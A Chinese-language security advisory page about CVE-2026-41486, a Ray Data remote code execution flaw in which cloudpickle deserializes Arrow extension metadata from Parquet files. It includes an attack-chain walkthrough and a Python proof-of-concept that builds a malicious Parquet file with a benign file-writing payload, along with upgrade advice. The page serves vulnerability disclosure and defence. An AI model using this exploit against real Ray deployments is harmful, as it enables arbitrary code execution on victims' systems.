IPBUF安全漏洞报告
English
CVE-2026-41486 CVSS 8.8 高危

CVE-2026-41486 Ray 远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41486
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Ray

相关标签

RCE远程代码执行RayAI反序列化PyArrowCloudpickle

漏洞概述

Ray是一个AI计算引擎。在2.54.0至2.55.0之前的版本中,Ray Data在PyArrow中全局注册了自定义Arrow扩展类型。当PyArrow读取包含这些扩展类型的Parquet文件时,会调用`__arrow_ext_deserialize__`处理元数据字节。Ray的实现将这些字节直接传递给`cloudpickle.loads()`,导致在解析架构期间(读取任何行数据之前)即可实现任意代码执行。该问题已在2.55.0版本中修复。

技术细节

该漏洞的根源在于Ray Data在PyArrow中全局注册了自定义Arrow扩展类型(如`ray.data.arrow_tensor`)。当PyArrow加载Parquet文件时,如果文件头中定义了这些特定的扩展类型字段,它会自动调用这些类型的`__arrow_ext_deserialize__`方法来解析字段元数据。Ray在实现此方法时存在严重的安全缺陷,它未经验证直接将元数据字节传递给了`cloudpickle.loads()`函数。Cloudpickle是Python用于序列化和反序列化对象的库,它可以序列化几乎任何Python对象,包括函数和代码。攻击者可以构造一个恶意的Parquet文件,其元数据中包含经过cloudpickle序列化的恶意代码对象。当受害者使用受影响版本的Ray读取此文件时,PyArrow会触发反序列化过程,执行`cloudpickle.loads()`,从而在系统上执行任意代码。值得注意的是,这种代码执行发生在读取任何实际行数据之前的架构解析阶段,使得攻击非常隐蔽且无需大量数据传输即可触发。

攻击链分析

STEP 1
侦察
攻击者确认目标环境使用了受影响版本的Ray(2.54.0至2.55.0之前),并且该环境会处理外部的Parquet文件。
STEP 2
武器化
攻击者编写恶意Python代码,并使用cloudpickle进行序列化。随后构造一个特制的Parquet文件,将序列化后的字节流嵌入到Parquet文件的Schema元数据中,字段类型设置为Ray注册的扩展类型(如ray.data.arrow_tensor)。
STEP 3
交付
攻击者通过诱导用户上传文件、供应链投毒或网络共享等方式,将恶意Parquet文件发送给目标系统。
STEP 4
利用
目标系统中的Ray应用尝试读取该Parquet文件。PyArrow在解析文件头Schema时,识别出自定义扩展类型,并调用Ray注册的反序列化回调函数。
STEP 5
执行
Ray的回调函数将元数据传递给`cloudpickle.loads()`,导致反序列化过程执行攻击者植入的恶意代码,从而在服务器端实现任意代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pyarrow as pa import pyarrow.parquet as pq import cloudpickle import os # Define a malicious payload to be executed # For demonstration, this creates a file, but could be any command def malicious_function(): print("[!] RCE Triggered via Cloudpickle") with open("/tmp/pwned.txt", "w") as f: f.write("CVE-2026-41486 Exploited") # Serialize the payload using cloudpickle serialized_payload = cloudpickle.dumps(malicious_function) # Construct Parquet metadata pointing to Ray's extension type # Ray registers 'ray.data.arrow_tensor' globally. # We set the metadata key 'ARROW:extension:metadata' to our payload. metadata = { b"ARROW:extension:name": b"ray.data.arrow_tensor", b"ARROW:extension:metadata": serialized_payload } # Create a field with the malicious metadata field = pa.field("exploit_field", pa.binary(), metadata=metadata) schema = pa.schema([field]) # Create a dummy table with minimal data table = pa.table({"exploit_field": [b"dummy_data"]}) # Write the malicious Parquet file pq.write_table(table, "cve_2026_41486_exploit.parquet", schema=schema) print("Malicious Parquet file generated: cve_2026_41486_exploit.parquet") print("When a vulnerable Ray version reads this file, the payload will execute.")

影响范围

Ray 2.54.0
Ray < 2.55.0

防御指南

临时缓解措施
建议立即将Ray升级至2.55.0或更高版本以修复此漏洞。在无法升级的情况下,应严格限制处理Parquet文件的来源,避免读取不受信任的文件,并在隔离环境中运行Ray应用以限制潜在的代码执行影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表